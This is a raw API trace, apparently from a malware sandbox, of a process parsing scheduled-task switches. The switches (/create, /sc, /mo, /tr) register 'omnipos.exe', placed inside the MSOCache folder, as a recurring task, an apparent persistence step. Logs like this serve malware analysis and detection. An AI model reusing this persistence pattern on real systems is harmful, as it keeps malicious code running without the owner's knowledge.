_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] lstrlenW (lpString="mo") returned 2 [0114.189] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|?|") returned 3 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.189] lstrlenW (lpString="|?|") returned 3 [0114.189] lstrlenW (lpString="|mo|") returned 4 [0114.189] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.189] lstrlenW (lpString="s") returned 1 [0114.189] lstrlenW (lpString="s") returned 1 [0114.189] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] lstrlenW (lpString="mo") returned 2 [0114.189] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|s|") returned 3 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.189] lstrlenW (lpString="|s|") returned 3 [0114.189] lstrlenW (lpString="|mo|") returned 4 [0114.189] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.189] lstrlenW (lpString="u") returned 1 [0114.189] lstrlenW (lpString="u") returned 1 [0114.189] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] lstrlenW (lpString="mo") returned 2 [0114.189] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|u|") returned 3 [0114.189] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.189] lstrlenW (lpString="|u|") returned 3 [0114.189] lstrlenW (lpString="|mo|") returned 4 [0114.189] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.190] lstrlenW (lpString="p") returned 1 [0114.190] lstrlenW (lpString="p") returned 1 [0114.190] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] lstrlenW (lpString="mo") returned 2 [0114.190] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|p|") returned 3 [0114.190] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.190] lstrlenW (lpString="|p|") returned 3 [0114.190] lstrlenW (lpString="|mo|") returned 4 [0114.190] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.190] lstrlenW (lpString="ru") returned 2 [0114.190] lstrlenW (lpString="ru") returned 2 [0114.190] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] lstrlenW (lpString="mo") returned 2 [0114.190] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ru|") returned 4 [0114.190] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.190] lstrlenW (lpString="|ru|") returned 4 [0114.190] lstrlenW (lpString="|mo|") returned 4 [0114.190] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0114.190] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.190] lstrlenW (lpString="rp") returned 2 [0114.190] lstrlenW (lpString="rp") returned 2 [0114.190] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] lstrlenW (lpString="mo") returned 2 [0114.190] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.190] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|rp|") returned 4 [0114.191] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.191] lstrlenW (lpString="|rp|") returned 4 [0114.191] lstrlenW (lpString="|mo|") returned 4 [0114.191] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0114.191] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.191] lstrlenW (lpString="sc") returned 2 [0114.191] lstrlenW (lpString="sc") returned 2 [0114.191] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.191] lstrlenW (lpString="mo") returned 2 [0114.191] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.191] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.191] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.191] lstrlenW (lpString="|sc|") returned 4 [0114.191] lstrlenW (lpString="|mo|") returned 4 [0114.191] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0114.191] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.191] lstrlenW (lpString="mo") returned 2 [0114.191] lstrlenW (lpString="mo") returned 2 [0114.191] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.191] lstrlenW (lpString="mo") returned 2 [0114.191] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.191] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.191] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.191] lstrlenW (lpString="|mo|") returned 4 [0114.191] lstrlenW (lpString="|mo|") returned 4 [0114.191] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0114.191] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] _memicmp (_Buf1=0x1f1146ca950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] lstrlenW (lpString=" \x09") returned 2 [0114.192] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0114.192] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0114.192] GetLastError () returned 0x0 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] lstrlenW (lpString="5") returned 1 [0114.192] GetProcessHeap () returned 0x1f1146c0000 [0114.192] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x4) returned 0x1f1146c4ee0 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.192] lstrlenW (lpString="/tr") returned 3 [0114.192] lstrlenW (lpString="-/") returned 2 [0114.192] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.192] lstrlenW (lpString="create") returned 6 [0114.192] lstrlenW (lpString="create") returned 6 [0114.192] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.192] lstrlenW (lpString="tr") returned 2 [0114.192] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.192] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.193] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.193] lstrlenW (lpString="|create|") returned 8 [0114.193] lstrlenW (lpString="|tr|") returned 4 [0114.193] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0114.193] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.193] lstrlenW (lpString="?") returned 1 [0114.193] lstrlenW (lpString="?") returned 1 [0114.193] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.193] lstrlenW (lpString="tr") returned 2 [0114.193] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.193] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|?|") returned 3 [0114.193] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.193] lstrlenW (lpString="|?|") returned 3 [0114.193] lstrlenW (lpString="|tr|") returned 4 [0114.193] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.193] lstrlenW (lpString="s") returned 1 [0114.193] lstrlenW (lpString="s") returned 1 [0114.193] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.193] lstrlenW (lpString="tr") returned 2 [0114.193] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.193] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|s|") returned 3 [0114.193] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.193] lstrlenW (lpString="|s|") returned 3 [0114.193] lstrlenW (lpString="|tr|") returned 4 [0114.193] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.193] lstrlenW (lpString="u") returned 1 [0114.193] lstrlenW (lpString="u") returned 1 [0114.193] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] lstrlenW (lpString="tr") returned 2 [0114.194] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|u|") returned 3 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.194] lstrlenW (lpString="|u|") returned 3 [0114.194] lstrlenW (lpString="|tr|") returned 4 [0114.194] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.194] lstrlenW (lpString="p") returned 1 [0114.194] lstrlenW (lpString="p") returned 1 [0114.194] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] lstrlenW (lpString="tr") returned 2 [0114.194] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|p|") returned 3 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.194] lstrlenW (lpString="|p|") returned 3 [0114.194] lstrlenW (lpString="|tr|") returned 4 [0114.194] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.194] lstrlenW (lpString="ru") returned 2 [0114.194] lstrlenW (lpString="ru") returned 2 [0114.194] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] lstrlenW (lpString="tr") returned 2 [0114.194] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ru|") returned 4 [0114.194] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.194] lstrlenW (lpString="|ru|") returned 4 [0114.194] lstrlenW (lpString="|tr|") returned 4 [0114.194] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0114.194] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.195] lstrlenW (lpString="rp") returned 2 [0114.195] lstrlenW (lpString="rp") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.195] lstrlenW (lpString="tr") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.195] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|rp|") returned 4 [0114.195] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.195] lstrlenW (lpString="|rp|") returned 4 [0114.195] lstrlenW (lpString="|tr|") returned 4 [0114.195] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0114.195] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.195] lstrlenW (lpString="sc") returned 2 [0114.195] lstrlenW (lpString="sc") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.195] lstrlenW (lpString="tr") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.195] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.195] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.195] lstrlenW (lpString="|sc|") returned 4 [0114.195] lstrlenW (lpString="|tr|") returned 4 [0114.195] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0114.195] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.195] lstrlenW (lpString="mo") returned 2 [0114.195] lstrlenW (lpString="mo") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.195] lstrlenW (lpString="tr") returned 2 [0114.195] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.196] lstrlenW (lpString="|mo|") returned 4 [0114.196] lstrlenW (lpString="|tr|") returned 4 [0114.196] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0114.196] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.196] lstrlenW (lpString="d") returned 1 [0114.196] lstrlenW (lpString="d") returned 1 [0114.196] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.196] lstrlenW (lpString="tr") returned 2 [0114.196] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|d|") returned 3 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.196] lstrlenW (lpString="|d|") returned 3 [0114.196] lstrlenW (lpString="|tr|") returned 4 [0114.196] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.196] lstrlenW (lpString="m") returned 1 [0114.196] lstrlenW (lpString="m") returned 1 [0114.196] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.196] lstrlenW (lpString="tr") returned 2 [0114.196] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|m|") returned 3 [0114.196] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.196] lstrlenW (lpString="|m|") returned 3 [0114.196] lstrlenW (lpString="|tr|") returned 4 [0114.196] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.196] lstrlenW (lpString="i") returned 1 [0114.196] lstrlenW (lpString="i") returned 1 [0114.196] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] lstrlenW (lpString="tr") returned 2 [0114.197] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|i|") returned 3 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.197] lstrlenW (lpString="|i|") returned 3 [0114.197] lstrlenW (lpString="|tr|") returned 4 [0114.197] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.197] lstrlenW (lpString="tn") returned 2 [0114.197] lstrlenW (lpString="tn") returned 2 [0114.197] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] lstrlenW (lpString="tr") returned 2 [0114.197] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.197] lstrlenW (lpString="|tn|") returned 4 [0114.197] lstrlenW (lpString="|tr|") returned 4 [0114.197] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0114.197] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.197] lstrlenW (lpString="tr") returned 2 [0114.197] lstrlenW (lpString="tr") returned 2 [0114.197] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] lstrlenW (lpString="tr") returned 2 [0114.197] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.197] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.197] lstrlenW (lpString="|tr|") returned 4 [0114.197] lstrlenW (lpString="|tr|") returned 4 [0114.198] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.198] lstrlenW (lpString="-/") returned 2 [0114.198] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.198] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0114.198] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.198] _memicmp (_Buf1=0x1f1146c4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.198] _memicmp (_Buf1=0x1f1146ca9b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] lstrlenW (lpString="'C") returned 2 [0114.198] lstrlenW (lpString="-/") returned 2 [0114.198] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.198] _memicmp (_Buf1=0x1f1146ca950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.198] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.198] GetProcessHeap () returned 0x1f1146c0000 [0114.198] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cab10) returned 1 [0114.198] GetProcessHeap () returned 0x1f1146c0000 [0114.198] RtlReAllocateHeap (Heap=0x1f1146c0000, Flags=0xc, Ptr=0x1f1146cab10, Size=0x9a) returned 0x1f1146c4740 [0114.198] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.199] lstrlenW (lpString=" \x09") returned 2 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0114.199] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0114.199] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0114.200] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.201] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.201] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.201] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0114.201] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 